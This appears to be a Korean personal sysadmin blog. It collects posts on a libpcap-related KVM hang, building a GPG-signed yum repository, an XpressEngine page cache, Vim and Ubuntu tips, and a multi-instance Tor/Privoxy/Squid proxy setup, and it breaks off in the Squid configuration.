Friday, May 13, 2016

KvmTroubleShooting

부팅후 일정 시간(5min~) 경과후 tcpdump 실행시 network 단절 | system down 현상 분석


문제 발생 서버 정보

Date

2012/10/17

Server

한국의 KVM 제공 업체들 중의 하나

OS 정보

CentOS 6.3 / x86_86 / 2.6.32-279.9.1.el6.x86_64

CPU 정보

processor       : 0
vendor_id       : AuthenticAMD
cpu family      : 6
model           : 2
model name      : QEMU Virtual CPU version 0.14.1
stepping        : 3
cpu MHz         : 2200.000
cache size      : 512 KB
fpu             : yes
fpu_exception   : yes
cpuid level     : 4
wp              : yes
flags           : fpu de pse tsc msr pae mce cx8 apic mtrr pge mca cmov pat pse36   clflush mmx fxsr sse sse2 syscall nx lm up unfair_spinlock pni cx16 popcnt hypervisor lahf_lm abm sse4a
bogomips        : 4400.00
TLB size        : 1024 4K pages
clflush size    : 64
cache_alignment : 64
address sizes   : 40 bits physical, 48 bits virtual

문제 확인 필요 사항들

  • KVM 의 물리적 구성 정보
  • KVM 의 Network 구성 정보
  • KVM 의 부모 머신의 튜닝 정보(network…current_clocksource…)

문제의 현상

시스템 부팅후 몇분 경과후 -i 옵션을 제외한 tcpdump 실행시 시스템 멈춤 현상.
멈춤이 풀린후 tcpdump 재실행시 정상 출력됨.
tcpdump 마지막 실행후 5분 이상 경과후 tcpdump 재실행시 시스템 멈춤 현상 재발생.
해당 현상은 tcpdump 마지막 실행후 경과 시간이 길어질수록 재실행시 멈춤 현상이 더 오래 지속 됨.
해당 현상이 발생 될때 간혹 /var/log/messages 에 아래 와 같은 로그가 기록 됨.
kernel: Clocksource tsc unstable (delta = -25769803766 ns). Enable .........

문제의 원인

  1. KVM 의 guest 머신의 usb device 장치 인식 실패 가능성?
  2. libcap 의 API 오류 가능성?

문제의 재현

  1. tcpdump 를 통한 재현
    $ tcpdump

  2. tcpdump 소스스 분석을 통해 pcap_lookupdev() 함수에서 hang 확인

  3. 간단하게 code 를 통한 재현 [libpcap hang 재현 코드]
    $ vi pcap_hang.c

    
    #include <stdio.h>
    
    
    #include <pcap.h>
    
    
    int main()
    {
    char *dev=NULL, errbuf[256];
    dev =  (dev == NULL) ? pcap_lookupdev(errbuf) : dev;
    if (dev == NULL) {
      fprintf(stderr, "pcap_lookupdev : %s\n", errbuf);
      return(1);
    }
    printf("# Interface: %s\n", dev);
    return(0);
    }

    $ gcc -o pcap_hang pcap_hang.c -lpcap
    $ ./pcap_hang

문제의 해결 방법들

  1. Option -i 로 interface 를 명시 하는것으로 이슈는 해결 된다.
    $ tcpdump -i eth0

  2. libpcap 의 수정

    • Call 추적

      0 pcap_lookupdev()->pcap_findalldevs() : libpcap-1.3.0/inet.c
      1 pcap_findalldevs()->pcap_platform_finddevs() : libpcap-1.3.0/fad-getad.c
      2 pcap_platform_finddevs()->usb_platform_finddevs() : libpcap-1.3.0/pcap-linux.c
      3 usb_platform_finddevs()->usb_dev_add() : libpcap-1.3.0/pcap-usb-linux.c
    • 문제를 발생하는 Call은 libpcap의 pcap_lookupdev() 함수 실행시 문제가 발생 하는 것으로 보인다.

    • 문제가 발생하는 함수의 중요 부분은 usb_dev_add() 부분으로 PCAP_SUPPORT_USB 를 define 하지 않고 Compile 하면 된다.
  3. 근본적인 문제 해결을 위해서는 아래 사항 또한 확인이 필요해 보인다. (Parent 에 권한이 없는 외부 서버)

    • host & guest 머신의 ntpd 실행 여부를 확인 및 동기화 설정

      • CPU Clock 를 위한 host & guest 의 시간 동기화는 필수 이다.
    • KVM 부모 머신과 자식 머신의 current_clocksource 를 동일하게 설정

      • clocksource 실시간 변경하기
        $ cat /sys/devices/system/clocksource/clocksource0/available_clocksource
        kvm-clock tsc hpet acpi_pm

        $ echo "hpet" > /sys/devices/system/clocksource/clocksource0/current_clocksource

      • clocksource 부팅시 적용하기
        $ vi /etc/grub.conf

        kernel /boot/vmlinuz-2.6.32-279.9.1.el6.x86_64 …... clocksource=hpet

    • perf 등의 명령어를 사용하여 상태를 모니터링

관련 링크

Related kernel mailing list



CreateYumRepository

구축 환경


  • OS
    • CentOS 6
  • Arch
    • x86_64

RPM Build Server 구축


Install RPM for Build & Repository

$ yum install rpm-build
$ yum install createrepo
$ yum install rng-tools

Create GPG Key

/proc/sys/kernel/random/entropy_avail 의 값 증가 시키기(1000이상)

$ rngd -r /dev/urandom

GPG key 생성하기(Default 옵션으로 진행)

$ gpg --gen-key

gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

gpg: directory `/root/.gnupg' created
gpg: new configuration file `/root/.gnupg/gpg.conf' created
gpg: WARNING: options in `/root/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/root/.gnupg/secring.gpg' created
gpg: keyring `/root/.gnupg/pubring.gpg' created
Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection? 
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 
Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n years
Key is valid for? (0) 
Key does not expire at all
Is this correct? (y/N) y

GnuPG needs to construct a user ID to identify your key.

Real name: YoungJoo.Kim
Email address: vozltx@gmail.com
Comment: Vozlt Corp.
You selected this USER-ID:
    "YoungJoo.Kim (Vozlt Corp.) <vozltx@gmail.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
You need a Passphrase to protect your secret key.

can't connect to `/root/.gnupg/S.gpg-agent': 그런 파일이나 디렉터리가 없습니다
gpg-agent[1841]: directory `/root/.gnupg/private-keys-v1.d' created

                                                                                                                                                                                      3Please re-enter this passphrase                                                                                                                3                                                                                                                                               3Passphrase ***********_____________________________                                                                                            3                                                                                                                                               3      <OK>                             <Cancel>            

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key A511F848 marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
pub   2048R/A511F848 2013-02-19
      Key fingerprint = 5DBB 3608 1F7C 8114 D27D  923A F79D 8B55 A511 F848
uid                  YoungJoo.Kim (Vozlt Corp.) <vozltx@gmail.com>
sub   2048R/FEAA622E 2013-02-19

GPG Key 생성 확인

$ gpg --list-keys

/root/.gnupg/pubring.gpg
------------------------
pub   2048R/A511F848 2013-02-19
uid                  YoungJoo.Kim (Vozlt Corp.) <vozltx@gmail.com>
sub   2048R/FEAA622E 2013-02-19

GPG Key 내보내기(Rpm 으로 묶어서 배포)

$ gpg --export -a 'YoungJoo.Kim' > RPM-GPG-KEY-CentOS-6-Vozlt

GPG Key 설치하기(빌드시에는 안해도 됨)

$ rpm --import RPM-GPG-KEY-CentOS-6-Vozlt

/etc/rpm/macros.key 작성하기(빌드만 하려면 4, 5 제외하고 여기까지만 하면 됨)

$ vi /etc/rpm/macros.key

# %_signature, %_gpg_name 을 정확하게 기재한다.(gpg --list-keys 로 확인)
%_sourcedir         %{_topdir}/SOURCES/%{name}
%_signature         gpg
%_gpg_name          YoungJoo.Kim (Vozlt Corp.) <vozltx@vozlt.org>
%packager           Vozlt manager <vozltx@vozlt.org>
%vendor             Vozlt Corp.
%dist               .el6.vozlt
%_topdir            /usr/src/redhat

관련 링크

GPG Key Manual

RPM Repository Server 구축


Repository Directory 생성

$ mkdir -p /repository/centos/6/SRPMS
$ mkdir -p /repository/centos/6/i386
$mkdir -p /repository/centos/6/x86_64

GPG Key 복사

$ cp -af RPM-GPG-KEY-CentOS-6-Vozlt /repository/centos/6

RPM 저장

$ cp -af /usr/src/redhat/RPMS/x86_64/*.rpm /repository/centos/6/x86_64/
$ createrepo /repository/centos/6/x86_64

YUM RPM Repository 등록

remote 구축시

$ vi /etc/yum.repos.d/Vozlt.repo

[vozlt]
name=CentOS-$releasever - rpms.example.com
baseurl=http://rpms.example.com/centos/$releasever/$basearch/
gpgcheck=1
gpgkey=http://rpms.example.com/centos/$releasever/RPM-GPG-KEY-CentOS-6-Vozlt

local 구축시

$ vi /etc/yum.repos.d/Vozlt-local.repo

[vozlt]
name=CentOS-$releasever - rpms.example.com
baseurl=file:///repository/centos/$releasever/$basearch/
gpgcheck=1
gpgkey=file:///repository/centos/$releasever/RPM-GPG-KEY-CentOS-6-Vozlt

Repository WebRoot 설정

/repository

Repository 등록 확인

$ yum clean all
$ yum repolist



Monday, May 2, 2016

Yum

특정 저장소 파일만 출력


$ yum --disablerepo="*" --enablerepo="vozlt-base" list available

Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
Available Packages
debugmode.x86_64                     1:9.03.31-2.el6.vozlt                   vozlt-base
mysql-bench.x86_64                   1:5.6.15-1.el6.vozlt                    vozlt-base
mysql-embedded.x86_64                1:5.6.15-1.el6.vozlt                    vozlt-base
mysql-embedded-devel.x86_64          1:5.6.15-1.el6.vozlt                    vozlt-base
mysql-test.x86_64                    1:5.6.15-1.el6.vozlt                    vozlt-base


XeHookFpc

Xpressengine full page cache handler


간단하게 구현한 xpressengine 의 풀 페이지 캐쉬 프로그램입니다.
모듈이나 애드온 형태가 아닙니다.
몇달전에 xpressengine 설치해서 돌려보니 상당히 무겁다는것을 체감한후 속도 개선을 위해 간단하게 제작한 프로그램입니다.
테스트는 1.7.4에서 진행 했었고 공개하기전 1.7.5에서도 간단하게 해보았습니다.
작동을 위해서는 우선적으로 Memcached 설정이 활성화 되어져 있어야 합니다.
개발된 코드(xe-hook-fpc)와 일치하는 작동을 위해서는 cpage, page 등의 변수등에 대한 skin 설정도 정확하게 이루어져야 합니다.
조회수 업데이트 및 리스트 업데이트등의 동적인 페이지 구현에 있어서 몇가지 문제점들을 가지고 있는 프로그램입니다.
사용시에 유의하세요!

프로젝트 홈


https://github.com/vozlt/xe-hook-fpc

요구사항


  • Xpressengine(1.7.4+)
  • Memcached

Xpressengine memcached 설정


이미 설정 되어 있다면 생략
$ vi [Installed xpressengine path]/files/config/db.config.php

'use_object_cache' => 'memcache://localhost:11211'

설치


$ git clone git://github.com/vozlt/xe-hook-fpc.git

$ cd xe-hook-fpc

$ bash install.sh install [Installed xpressengine path]

삭제


$ cd xe-hook-fpc

$ bash install.sh uninstall [Installed xpressengine path]

테스트 환경


OS: centos6(x86_64)
WEB: nginx
PHP: php-fpm-5.5, php-opcache-5.5
MYSQL: mysql-5.6

적용 전후 함수들의 호출 수


액션 적용시 미적용시
document 7177 518
list 4862 455

xhprof 를 사용해서 분석한 내용이며 페이지 로딩 속도 및 시스템의 부하 또한 비례 할 것입니다.(10배이상)

Xhprof 결과


xe-hook-fpc 미적용:document

enter image description here

xe-hook-fpc 적용:document

enter image description here

xe-hook-fpc 미적용:list

enter image description here

xe-hook-fpc 적용:list

enter image description here

기본 캐쉬 만료 시간


액션 만료시간(초)
index 300
list 3600
document 3600
comment 3600
searched result 3600
menu 3600

캐쉬 만료시간은 [xpressengine 설치경로]/config/config.user.inc.php 에서 설정 가능하며 0으로 설정하면 해당 action은 캐쉬하지 않습니다.

$ vi [Installed xpressengine path]/config/config.user.inc.php

define('__XE_HOOK_FPC_INDEX_EXPIRES__', 300); /* index's cache expires time(sec) */
define('__XE_HOOK_FPC_LIST_EXPIRES__', 3600); /* list's cache expires time(sec) */
define('__XE_HOOK_FPC_DOCUMENT_EXPIRES__', 3600); /* document's cache expires time(sec) */
define('__XE_HOOK_FPC_COMMENT_EXPIRES__', 3600); /* comment's cache expires time(sec) */
define('__XE_HOOK_FPC_SEARCH_EXPIRES__', 3600); /* searched result's cache expires time(sec) */
define('__XE_HOOK_FPC_MENU_EXPIRES__', 3600); /* menu's cache expires time(sec) */

캐쉬키 출력하기

$ vi layouts/[your layout path]/layout.html

<!--fpc:debug_info:s--><!--fpc:debug_info:e-->

레이아웃등에 위처럼 설정후 xe-hook-fpc 를 활성화 하고 정상적으로 캐쉬가 생성되면 아래처럼 html 에 출력 됩니다.

<!--debug_info{fpc:pc:ProcCacheDocument:board:1:0:login}-->

기타

xe-hook-fpc 구현시에 게시글(댓글포함)의 (추가|삭제|수정) 등의 변화시에 저장된 캐쉬를 삭제하는 처리는 해놓았지만 위에서 언급했듯이 
cpage, page 등등의 변수가 해당 동작(추가|삭제|수정)시에 정확하게 전달되어야 합니다.
동적인 처리를 위해 내부로직에서 조회수등의 치환등의 몇개 정보는 구현해 놓았으나 너무 많은 경우의 수로 인하여 언급하지 않겠습니다. 
그리고 솔직히 만든지 몇달 되기도 했고 xpressengine 내부적인 흐름도 모두 본것도 아니라서 제 환경에서는 대충 잘 동작하게는 했지만 다른분들은 어떨실지 모르겠습니다.
풀캐쉬로 인해 동적인 페이지 구현에 있어서 여러가지 단점은 존재하지만 잘 설정하시면 효과는 아마도 깜짝 놀라실 거에요:)


Windows

Proxy 컴맨드 라인으로 설정하기


활성화

> REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 1 /f

비활성화

> REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

서버 변경

> REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer /t REG_SZ /d {ProxyServer}:{ProxyPort} /f



Vim

커서 이동


e 
    Move to the end of a word.

w 
    Move forward to the beginning of a word.

3w 
    Move forward three words.

W 
    Move forward a WORD (any non-whitespace characters).

b 
    Move backward to the beginning of a word.

3b 
    Move backward three words.

$ 
    Move to the end of the line.

0 
    Move to the beginning of the line.

^ 
    Move to the first non-blank character of the line.

) 
    Jump forward one sentence.

( 
    Jump backward one sentence.

} 
    Jump forward one paragraph.

{ 
    Jump backward one paragraph.

H 
    Jump to the top of the screen.

M 
    Jump to the middle of the screen.

L 
    Jump to the bottom of the screen.

10<PageUp> or 10<CTRL-B>
    Move 10 pages up.

5<PageDown> or 5<CTRL-F>
    Move 5 pages down.

G 
    Jump to end of file.

1G 
    Jump to beginning of file (same as gg).

50G 
    Jump to line 50.

'm 
    Jump to the beginning of the line of mark m.

`m 
    Jump to the cursor position of mark m.

''
    Return to the line where the cursor was before the latest jump.
    (Two single quotes.)

``
    Return to the cursor position before the latest jump (undo the jump).
    (Two back ticks. This is above the Tab key on some keyboards.)

 % 
    Jump to corresponding item, e.g. from an open brace to its matching closing brace.

기타


# 패턴 치환
# \1 : 첫번째 패턴일치 변수
%s/^\([0-9]\)/#\1/g
%s/\(.*\)/\1/g


# 옆창
vi -c "20vs ./"
shift + o  # 선택파일 열기


# 파일전체 경로라면 맨앞 글자에서
Ctrl + w + f


# SYNTAX 색깔 없애기
set syntax=off


# syntax 색깔 바꾸기
set filetype=php


# Ctrl + v
수직 선택 모드


# v 모드에서
> 탭삽입


# 함수 원형 알아내기
[i


# 변수 선언부로 이동
gd


# 소스를 정렬 (전체 선택은 v -> G)
v로 블록 지정후 = 누르기


# 마킹
m[임의의 알파벳]


# 마킹 이동
'[마킹한 알파벳]
`[마킹한 알파벳]


# 파일에 암호 걸기
:X


# 파일 암호 풀기
set key=


# fold 끄기
set foldlevel=1



# 한번 적은 패턴 붙여넣기 연속하기
기록 -> ESC -> .


# 대소문자 변환하기
u or U


# 대소문자 구분 안하고 검색하기
set ic
set noic


#선택부분 치환하기
v로 선택 -> Shift+: s///g
:'<,'>s/test/tttt/g


# Folding
http://wiki.kldp.org/wiki.php/ViEditorTips
zE 는 모든 fold 를 제거 


# color 바꾸기
:colorscheme [tab]
:colorscheme [ctrl+d]


# cursor가 위치한 파일 열기
ctrl + w + f


# Tab function
새탭열기 => :tabnew
탭탐색기 => :Texplorer (:Te)
탭 이동(다음) => :gt
탭 이동(이전) => :gT


#Split function
수직나누기 => :sp
수평나누기 => :vs
창 이동    => ctrl+ww OR ctrl+w[h/j/k/l] (vim 이동 명령)
창 최대화  => ctrl+w_
창 사이즈 변경 => 20ctrl+w_


# MARKING
m + MARK
    GLOBAL => [A-Z]
    LOCAL  => [a-z]
    Auto   => [0-9]


# omnifunc
" onmifunc use per file types
" ctrl+x ctrl+o or ctrl+n ctrl+p
"
filetype plugin indent on
set omnifunc=ccomplete#Complete 
set omnifunc=htmlcomplete#Complete 
set omnifunc=csscomplete#Complete
set omnifunc=phpcomplete#Complete
set omnifunc=javascriptcomplete#Complete

complete => CTRL n + p
prototype => CTRL x + o


# Paren
" Highlighting matching parens configuration
" pi_paren options:
"    :NoMatchParen
"    :DoMatchParen
"    :help pi_paren.txt
" pi_paren off
"let loaded_matchparen = 1

기타




Ubuntu

Text 모드 부팅하기


$ vi /etc/default/grub

GRUB_CMDLINE_LINUX_DEFAULT="quiet splash text"

$ update-grub

VIM 설정


F12 로 hlsearch 조정

$ apt-get install vim
$ vi /etc/vim/vimrc

map  <F12> :set hls!<CR>
imap <F12> <ESC>:set hls!<CR>a
vmap <F12> <ESC>:set hls!<CR>gv

데비안 패키지 명령어


패키지 설치하기
apt-get install [패키지]

패키지 검색 하기
apt-cache search [패키지]

패키지 정보보기
apt-get apt-cache show

패키지 삭제(–purge:설정파일도삭제)
apt-get --purge remove [패키지]

소스 패키지 설치
apt-get source [패키지]

설치된 소스 패키지 의존성있게 리빌드
apt-get build-dep [패키지]

설치된 패키지 파일 리스트
dpkg -L [패키지]

설치된 전체 패키지 리스트
dpkg -l

패키지 압축 풀기
dpkg-deb -x [deb파일명.deb] [압축풀경로]

dep 패키지 설치
dpkg -i [패키지.deb]

dep 저장 위치
/var/cache/apt/archive/

데비안 패키지 만들기


요약

$ vi package-name-version/debian/control

package-name-version/etc
package-name-version/usr/bin
.
.

$ dpkg-deb --build package-name-version

기타

콘솔 한글 입출력


jfbterm+uim-fep

패키지 설치
apt-get install jfbterm uim uim-fep uim-byeoru

한글 변환키 설정(Ctrl+Space)
vi /usr/share/uim/generic-key-custom.scm

(define-custom 'generic-on-key '("zenkaku-hankaku" "<Shift> " "<Control> ")
               '(global-keys1)
               '(key)
               (N_ "[Global] on")
               (N_ "long description will be here"))

(define-custom 'generic-off-key '("zenkaku-hankaku" "<Shift> " "<Control> ")
               '(global-keys1)
               '(key)
               (N_ "[Global] off")
               (N_ "long description will be here"))

vi /usr/share/uim/byeoru-key-custom.scm

(define-custom 'byeoru-on-key '("<Shift> " "<Control> ")
  '(byeoru-keys1)
  '(key)
  (N_ "[Byeoru] on")
  (N_ "long description will be here"))

(define-custom 'byeoru-latin-key '("<Shift> " "<Control> ")
  '(byeoru-keys1)
  '(key)
  (N_ "[Byeoru] off")
  (N_ "long description will be here"))

실행
$ jfbterm
$ uim-fep
$ cal

      5월 2013      
일 월 화 수 목 금 토
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31

byeoru[BA가]
  • 문제점

    • jfbterm 의 종료(exit) 시스템 hang 현상
  • 해결방안

    • system hang 패치한 버전으로 리빌드후 사용

jfbterm(직접빌드)

주의사항

  • 시스템마다 한글 입력시 다운 되는 현상(motd 패치 혹은 cursor 패치등등??)이 일어 날 수 있으므로 주의해야한다.
  • aclocal is needed 메시지가 나오면 touch * 후 다시 make 한다.
  • terminfo 생성시 에러가 나면 terminfo.jfbterm 마지막에 , 을 붙여준다.

기타

로컬 Ubuntu -> jfbterm -> remote_server _> irssi 사용시 가비지 출력 문제

  • 원격지 서버에서 정상적인 터미널 사용을 위해 원격지서버에 terminfo(jfbterm) 복사
    $ scp /usr/share/terminfo/j/jfbterm user@remote:/usr/share/terminfo/j/

w3m 이미지 보기


$ apt-get install w3m-img
$ w3m http://google.com

이미지 보기 비활성 하기
o -> Display inline images -> NO

터미널 ScreenShot


$ apt-get install scrot
$ scrot MyScreenShot.png



Tor

Tor + Privoxy + Squid 구축


개요

  • 단일 서버에 Tor 인스턴스 10개 + Privoxy 인스턴스 10개 + Squid 를 통해 단일 Tor 인스턴스의 단점(대역폭 제한)을 보완 할 것이다.
  • tor 와 privoxy 는 멀티 인스턴스를 위해 구동 스크립트를 수정 하였다.

구성도

+----------------------------------------+
|                INTERNET                |
+----------------------------------------+
     |              |              |
     |              |              |
+----------+   +----------+   +----------+
|   Tor0   |   |   ....   |   |   Tor9   |
+----------+   +----------+   +----------+
     |              |              |
     |              |              |
+----------+   +----------+   +----------+
| Privoxy0 |   | ........ |   | Privoxy9 |
+----------+   +----------+   +----------+
     |              |              |
     |              |              |
     +-----------------------------+
                    |
                    |
               +----+-----+
               |  SQUID   |
               +----+-----+
                    |
                    |
               +----+-----+
               |  CLIENT  |
               +----------+

설명

  1. Tor 를 다중 인스턴스 10개(개별포트)로 구동시킨다.
  2. Privoxy를 다중 인스턴스 10개(개별포트)로 구동시킨다.
  3. Squid에 Privoxy 다중 인스턴스 10개를 분산 설정 한다.

Tor 구축

tor 설치

$ yum install tor

tor 다중 인스턴스 설정

아래 형식으로 10개 파일 설정(9050-9059)
$ vi /etc/tor/torrc.{port}

user nobody
runasdaemon 1
PidFile /var/run/tor/tor.{port}.pid
log notice file /var/log/tor/tor.{port}.log
datadirectory /var/lib/tor/tor.{port}
SocksPort {port}

자동 생성 스크립트
$ vi multiTorrc.sh

#!/bin/env bash

torrcPath=/etc/tor/
torMaxInstances=10
torPort=9050

[ -n "$torrcPath" ] && pushd $torrcPath

for ((i=1; i <= torMaxInstances; i++))
do
    echo "Created ${torrcPath}torrc.$torPort"
    echo "user nobody" > torrc.$torPort
    echo "runasdaemon 1" >> torrc.$torPort
    echo "PidFile /var/run/tor/tor.$torPort.pid" >> torrc.$torPort
    echo "log notice file /var/log/tor/tor.$torPort.log" >> torrc.$torPort
    echo "datadirectory /var/lib/tor/tor.$torPort" >> torrc.$torPort
    echo "SocksPort $torPort" >> torrc.$torPort

    ((torPort++))
done

[ -n "$torrcPath" ] && popd

$ bash multiTorrc.sh

Created /etc/tor/torrc.9050
Created /etc/tor/torrc.9051
Created /etc/tor/torrc.9052
Created /etc/tor/torrc.9053
Created /etc/tor/torrc.9054
Created /etc/tor/torrc.9055
Created /etc/tor/torrc.9056
Created /etc/tor/torrc.9057
Created /etc/tor/torrc.9058
Created /etc/tor/torrc.9059

다중 인스턴스 구동 설정
$ vi /etc/sysconfig/tor

# 수정하지 말것
n               = 0

# ConnLimit 에 맞게 수정
MAX_FILEDESCRIPTORS = 8192

# config 변수가 선언되지 않았을 경우 기본으로 사용할 변수값
PIDFILE         = /var/run/tor/tor.pid
TOR_CONFIG      = /etc/tor/torrc
TOR_USER        = _tor

# 여러개의 데몬을 띄울 경우 설정
# 위의 변수를 다음과 같이 덮어쓸 수 있음. 지정되지 않은 값은 상단의 기본값 사용
# 형식=> {변수:값}
config[n++] = TOR_CONFIG:/etc/tor/torrc.9050
config[n++] = TOR_CONFIG:/etc/tor/torrc.9051
config[n++] = TOR_CONFIG:/etc/tor/torrc.9052
config[n++] = TOR_CONFIG:/etc/tor/torrc.9053
config[n++] = TOR_CONFIG:/etc/tor/torrc.9054
config[n++] = TOR_CONFIG:/etc/tor/torrc.9055
config[n++] = TOR_CONFIG:/etc/tor/torrc.9056
config[n++] = TOR_CONFIG:/etc/tor/torrc.9057
config[n++] = TOR_CONFIG:/etc/tor/torrc.9058
config[n++] = TOR_CONFIG:/etc/tor/torrc.9059

tor 구동

$ /etc/init.d/tor start

Stopping tor with /etc/tor/torrc.9050:  [ OK ]
Stopping tor with /etc/tor/torrc.9051:  [ OK ]
Stopping tor with /etc/tor/torrc.9052:  [ OK ]
Stopping tor with /etc/tor/torrc.9053:  [ OK ]
Stopping tor with /etc/tor/torrc.9054:  [ OK ]
Stopping tor with /etc/tor/torrc.9055:  [ OK ]
Stopping tor with /etc/tor/torrc.9056:  [ OK ]
Stopping tor with /etc/tor/torrc.9057:  [ OK ]
Stopping tor with /etc/tor/torrc.9058:  [ OK ]
Stopping tor with /etc/tor/torrc.9059:  [ OK ]
Stopping tor with /etc/tor/torrc.9060:  [ OK ]

Privoxy 구축

privoxy 설치

$ yum install privoxy

privoxy 다중 인스턴스 설정

아래 형식으로 10개 파일 설정(8118-8127)
$ vi /etc/privoxy/config.tor.{port}

confdir         /etc/privoxy
logdir          /var/log/privoxy

actionsfile     match-all.action
actionsfile     default.action
actionsfile     user.action
filterfile      default.filter
filterfile      user.filter
logfile         logfile

toggle                      1
enable-remote-toggle        0
enable-remote-http-toggle   0
enable-edit-actions         0
enforce-blocks              0
buffer-limit                4096
enable-proxy-authentication-forwarding  0
forwarded-connect-retries   0
accept-intercepted-requests 0
allow-cgi-request-crunching 0
split-large-forms           0
keep-alive-timeout          5
tolerate-pipelining         1
socket-timeout              300

# privoxy IP:PORT
listen-address              127.0.0.1:{port}

# tor IP:PORT
forward-socks4a             /   127.0.0.1:{torPort} .

자동 생성 스크립트
$ vi multiPrivoxyConfig.sh

#!/bin/env bash

privoxyPath=/etc/privoxy/
torMaxInstances=10
torPort=9050
privoxyPort=8118

[ -n "$privoxyPath" ] && pushd $privoxyPath

for ((i=1; i <= torMaxInstances; i++))
do

buf=$(cat << EOF
confdir         /etc/privoxy
logdir          /var/log/privoxy

actionsfile     match-all.action
actionsfile     default.action
actionsfile     user.action
filterfile      default.filter
filterfile      user.filter
logfile         logfile

toggle                      1
enable-remote-toggle        0
enable-remote-http-toggle   0
enable-edit-actions         0
enforce-blocks              0
buffer-limit                4096
enable-proxy-authentication-forwarding  0
forwarded-connect-retries   0
accept-intercepted-requests 0
allow-cgi-request-crunching 0
split-large-forms           0
keep-alive-timeout          5
tolerate-pipelining         1
socket-timeout              300

# privoxy IP:PORT
listen-address              127.0.0.1:$privoxyPort

# tor IP:PORT
forward-socks4a             /   127.0.0.1:$torPort .
EOF
)

echo "Created ${privoxyPath}config.tor.$privoxyPort"
echo "$buf" > config.tor.$privoxyPort

((privoxyPort++))
((torPort++))

done

[ -n "$privoxyPath" ] && popd

$ bash multiPrivoxyConfig.sh

Created /etc/privoxy/config.tor.8118
Created /etc/privoxy/config.tor.8119
Created /etc/privoxy/config.tor.8120
Created /etc/privoxy/config.tor.8121
Created /etc/privoxy/config.tor.8122
Created /etc/privoxy/config.tor.8123
Created /etc/privoxy/config.tor.8124
Created /etc/privoxy/config.tor.8125
Created /etc/privoxy/config.tor.8126
Created /etc/privoxy/config.tor.8127

다중 인스턴스 구동 설정
$ vi /etc/sysconfig/privoxy

# 수정하지 말것
n               = 0

# config 변수가 선언되지 않았을 경우 기본으로 사용할 변수값
PIDFILE             = /var/run/privoxy/privoxy.pid
PRIVOXY_CONFIG      = /etc/privoxy/config.tor
PRIVOXY_USER        = nobody

# 여러개의 데몬을 띄울 경우 설정
# 위의 변수를 다음과 같이 덮어쓸 수 있음. 지정되지 않은 값은 상단의 기본값 사용
# 형식=> {변수:값,변수:값...}
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8118,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8118.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8119,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8119.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8120,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8120.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8121,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8121.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8122,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8122.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8123,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8123.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8124,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8124.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8125,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8125.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8126,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8126.pid
config[n++] = PRIVOXY_CONFIG:/etc/privoxy/config.tor.8127,PRIVOXY_PIDFILE:/var/run/privoxy/privoxy.8127.pid

privoxy 구동

$ /etc/init.d/privoxy start

Starting privoxy with /etc/privoxy/config.tor.8118:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8119:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8120:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8121:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8122:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8123:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8124:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8125:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8126:  [ OK ]
Starting privoxy with /etc/privoxy/config.tor.8127:  [ OK ]

Squid 구축

squid 설치

$ yum install squid

squid 분산 설정

$ vi /etc/squid/squid.conf

acl manager proto cache_object
acl localhost src 127.0.0.1/32 ::1
acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1

acl SSL_ports port 443
acl Safe_ports port 80      # http
acl Safe_ports port 21      # ftp
acl Safe_ports port 443     # https
